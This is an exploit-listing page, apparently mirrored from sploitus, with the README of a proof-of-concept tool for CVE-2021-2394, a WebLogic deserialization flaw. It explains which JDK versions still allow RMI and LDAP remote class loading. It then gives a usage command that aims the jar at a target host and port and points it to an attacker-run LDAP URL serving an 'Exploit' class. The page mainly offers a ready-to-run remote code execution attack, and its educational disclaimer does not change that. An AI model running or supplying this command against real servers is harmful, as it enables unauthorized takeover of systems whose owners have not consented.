## https://sploitus.com/exploit?id=106B0836-A998-5B63-9B7B-F2F8BBD8BE02
# CVE-2021-2394
**POC of CVE-2021-2394**
- **Disclaimer**
- This project is for educational purposes only. Any direct or indirect consequences or losses caused by unauthorized testing are the responsibility of the user.
- **Notes**
* The POC uses IIOP for communication; please add the necessary dependencies (dependencies for version 12.2.1.3.0 have been included in the release).
* Please use a lower version of JDK to test with WebLogic.
> For RMI-based exploits, the JDK version is limited to versions before 6u132, 7u131, and 8u121. In versions 8u122 and later, a deserialization whitelist mechanism was added, disabling RMI remote code loading.
> For LDAP-based exploits, the JDK version is limited to versions 6u211, 7u201, 8u191, and 11.0.1. In version 8u191, Oracle introduced restrictions on LDAP vectors, resulting in CVE-2018-3149, which disables JNDI remote class loading.
> Source: https://www.freebuf.com/vuls/279465.html
* Reproduction in a virtual machine environment is not possible; refer to https://xz.aliyun.com/t/7498.
- **Usage**:
* Start a LDAP service.
* `java -jar CVE_2021_2394.jar rhost rport ldapurl`
* Example: `java -jar CVE_2021_2394.jar 192.168.137.1 7001 ldap://192.168.137.1:8087/Exploit`
- **Reference Links**:
* https://mp.weixin.qq.com/s/onoMpyenDkMmsoGEw8VO2A
* https://github.com/Y4er/CVE-2020-14756
* https://github.com/Y4er/CVE-2020-2551
- **Updates**:
* August 15, 2021: Deleted some unnecessary code.
- **Analysis Articles**:
* https://mp.weixin.qq.com/s/AxJJxbkclr4ijXX8lpNAfw
[source-iocs-preserved url=https://xz.aliyun.com/t/7498]